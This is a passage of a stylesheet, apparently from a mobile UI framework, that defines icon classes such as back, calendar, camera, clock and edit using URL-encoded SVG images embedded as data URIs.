url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214.018px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014.018%2014%22%20style%3D%22enable-background%3Anew%200%200%2014.018%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M1%2C4C0.447%2C4%2C0%2C4.447%2C0%2C5v4c0%2C0.553%2C0.447%2C1%2C1%2C1h1l4%2C4V0L2%2C4H1z%20M10.346%2C7c0-1.699-1.042-3.154-2.546-3.867L6.982%2C4.68%20C7.885%2C5.107%2C8.51%2C5.98%2C8.51%2C7S7.885%2C8.893%2C6.982%2C9.32L7.8%2C10.867C9.304%2C10.154%2C10.346%2C8.699%2C10.346%2C7z%20M9.447%2C0.017L8.618%2C1.586%20C10.723%2C2.584%2C12.182%2C4.621%2C12.182%2C7s-1.459%2C4.416-3.563%2C5.414l0.829%2C1.569c2.707-1.283%2C4.57-3.925%2C4.57-6.983%20S12.154%2C1.3%2C9.447%2C0.017z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-back:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M5%2C3V0L1%2C4l4%2C4V5c0%2C0%2C6%2C0%2C6%2C3s-5%2C4-5%2C4v2c0%2C0%2C7-1%2C7-6C13%2C4%2C8%2C3%2C5%2C3z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-bars:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M1%2C4h12c0.553%2C0%2C1-0.447%2C1-1s-0.447-1-1-1H1C0.447%2C2%2C0%2C2.447%2C0%2C3S0.447%2C4%2C1%2C4z%20M13%2C6H1%20C0.447%2C6%2C0%2C6.447%2C0%2C7c0%2C0.553%2C0.447%2C1%2C1%2C1h12c0.553%2C0%2C1-0.447%2C1-1C14%2C6.447%2C13.553%2C6%2C13%2C6z%20M13%2C10H1c-0.553%2C0-1%2C0.447-1%2C1%20s0.447%2C1%2C1%2C1h12c0.553%2C0%2C1-0.447%2C1-1S13.553%2C10%2C13%2C10z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-bullets:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M5%2C4h8c0.553%2C0%2C1-0.447%2C1-1s-0.447-1-1-1H5C4.447%2C2%2C4%2C2.447%2C4%2C3S4.447%2C4%2C5%2C4z%20M13%2C6H5%20C4.447%2C6%2C4%2C6.447%2C4%2C7c0%2C0.553%2C0.447%2C1%2C1%2C1h8c0.553%2C0%2C1-0.447%2C1-1C14%2C6.447%2C13.553%2C6%2C13%2C6z%20M13%2C10H5c-0.553%2C0-1%2C0.447-1%2C1%20s0.447%2C1%2C1%2C1h8c0.553%2C0%2C1-0.447%2C1-1S13.553%2C10%2C13%2C10z%20M1%2C2C0.447%2C2%2C0%2C2.447%2C0%2C3s0.447%2C1%2C1%2C1s1-0.447%2C1-1S1.553%2C2%2C1%2C2z%20M1%2C6%20C0.447%2C6%2C0%2C6.447%2C0%2C7c0%2C0.553%2C0.447%2C1%2C1%2C1s1-0.447%2C1-1C2%2C6.447%2C1.553%2C6%2C1%2C6z%20M1%2C10c-0.553%2C0-1%2C0.447-1%2C1s0.447%2C1%2C1%2C1s1-0.447%2C1-1%20S1.553%2C10%2C1%2C10z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-calendar:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M0%2C8h2V6H0V8z%20M3%2C8h2V6H3V8z%20M6%2C8h2V6H6V8z%20M9%2C8h2V6H9V8z%20M12%2C8h2V6h-2V8z%20M0%2C11h2V9H0V11z%20M3%2C11h2V9H3V11z%20M6%2C11h2V9H6V11z%20%20M9%2C11h2V9H9V11z%20M12%2C11h2V9h-2V11z%20M0%2C14h2v-2H0V14z%20M3%2C14h2v-2H3V14z%20M6%2C14h2v-2H6V14z%20M9%2C14h2v-2H9V14z%20M12%2C1%20c0-0.553-0.447-1-1-1s-1%2C0.447-1%2C1H4c0-0.553-0.447-1-1-1S2%2C0.447%2C2%2C1H0v4h14V1H12z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-camera:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M12%2C2.5H9.908c-0.206-0.581-0.756-1-1.408-1h-3c-0.652%2C0-1.202%2C0.419-1.408%2C1H2c-1.104%2C0-2%2C0.896-2%2C2%20v6c0%2C1.104%2C0.896%2C2%2C2%2C2h10c1.104%2C0%2C2-0.896%2C2-2v-6C14%2C3.396%2C13.104%2C2.5%2C12%2C2.5z%20M7%2C10.5c-1.657%2C0-3-1.344-3-3c0-1.657%2C1.343-3%2C3-3%20s3%2C1.343%2C3%2C3C10%2C9.156%2C8.657%2C10.5%2C7%2C10.5z%20M7%2C5.5c-1.104%2C0-2%2C0.896-2%2C2c0%2C1.104%2C0.896%2C2%2C2%2C2c1.104%2C0%2C2-0.896%2C2-2%20C9%2C6.396%2C8.104%2C5.5%2C7%2C5.5z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-carat-d:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%2211.949%2C3.404%207%2C8.354%202.05%2C3.404%20-0.071%2C5.525%207%2C12.596%2014.07%2C5.525%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-carat-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%2210.596%2C11.949%205.646%2C7%2010.596%2C2.05%208.475%2C-0.071%201.404%2C7%208.475%2C14.07%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-carat-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%223.404%2C2.051%208.354%2C7%203.404%2C11.95%205.525%2C14.07%2012.596%2C7%205.525%2C-0.071%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-carat-u:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%222.051%2C10.596%207%2C5.646%2011.95%2C10.596%2014.07%2C8.475%207%2C1.404%20-0.071%2C8.475%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-check:after, /* Used ui-checkbox-on twice to increase specificity. If active state has background-image for gradient this rule overrides. */ html .ui-btn.ui-checkbox-on.ui-checkbox-on:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%2214%2C4%2011%2C1%205.003%2C6.997%203%2C5%200%2C8%204.966%2C13%204.983%2C12.982%205%2C13%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-clock:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M7%2C0C3.134%2C0%2C0%2C3.134%2C0%2C7s3.134%2C7%2C7%2C7s7-3.134%2C7-7S10.866%2C0%2C7%2C0z%20M7%2C12c-2.762%2C0-5-2.238-5-5s2.238-5%2C5-5s5%2C2.238%2C5%2C5%20S9.762%2C12%2C7%2C12z%20M9%2C6H8V4c0-0.553-0.447-1-1-1S6%2C3.447%2C6%2C4v3c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1S9.553%2C6%2C9%2C6z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-cloud:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M14%2C9.5c0-0.793-0.465-1.473-1.134-1.795C12.949%2C7.484%2C13%2C7.249%2C13%2C7c0-1.104-0.896-2-2-2%20c-0.158%2C0-0.311%2C0.023-0.457%2C0.058C9.816%2C3.549%2C8.286%2C2.5%2C6.5%2C2.5c-2.33%2C0-4.224%2C1.777-4.454%2C4.046C0.883%2C6.76%2C0%2C7.773%2C0%2C9%20c0%2C1.381%2C1.119%2C2.5%2C2.5%2C2.5h10v-0.07C13.361%2C11.206%2C14%2C10.432%2C14%2C9.5z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-comment:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M12%2C0H2C0.896%2C0%2C0%2C0.896%2C0%2C2v7c0%2C1.104%2C0.896%2C2%2C2%2C2h1v3l3-3h6c1.104%2C0%2C2-0.896%2C2-2V2C14%2C0.896%2C13.104%2C0%2C12%2C0z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-delete:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20fill%3D%22%23FFF%22%20points%3D%2214%2C3%2011%2C0%207%2C4%203%2C0%200%2C3%204%2C7%200%2C11%203%2C14%207%2C10%2011%2C14%2014%2C11%2010%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-edit:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M1%2C10l-1%2C4l4-1l7-7L8%2C3L1%2C10z%20M11%2C0L9%2C2l3%2C3l2-2L11%2C0z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-eye:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M7%2C2C3%2C2%2C0%2C7%2C0%2C7s3%2C5%2C7%2C5s7-5%2C7-5S11%2C2%2C7%2C2z%20M7%2C10c-1.657%2C0-3-1.344-3-3c0-1.657%2C1.343-3%2C3-3%20s3%2C1.343%2C3%2C3C10%2C8.656%2C8.657%2C10%2C7%2C10z%20M7%2C6C6.448%2C6%2C6%2C6.447%2C6%2C7c0%2C0.553%2C0.448%2C1%2C1%2C1s1-0.447%2C1-1C8%2C6.447%2C7.552%2C6%2C7%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-forbidden:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M12.601%2C11.187C13.476%2C10.018%2C14%2C8.572%2C14%2C7c0-3.866-3.134-7-7-7C5.428%2C0%2C3.982%2C0.524%2C2.813%2C1.399L2.757%2C1.343L2.053%2C2.048%20L2.048%2C2.053L1.343%2C2.758l0.056%2C0.056C0.524%2C3.982%2C0%2C5.428%2C0%2C7c0%2C3.866%2C3.134%2C7%2C7%2C7c1.572%2C0%2C3.018-0.524%2C4.187-1.399l0.056%2C0.057%20l0.705-0.705l0.005-0.005l0.705-0.705L12.601%2C11.187z%20M7%2C2c2.761%2C0%2C5%2C2.238%2C5%2C5c0%2C1.019-0.308%2C1.964-0.832%2C2.754L4.246%2C2.832%20C5.036%2C2.308%2C5.981%2C2%2C7%2C2z%20M7%2C12c-2.761%2C0-5-2.238-5-5c0-1.019%2C0.308-1.964%2C0.832-2.754l6.922%2C6.922C8.964%2C11.692%2C8.019%2C12%2C7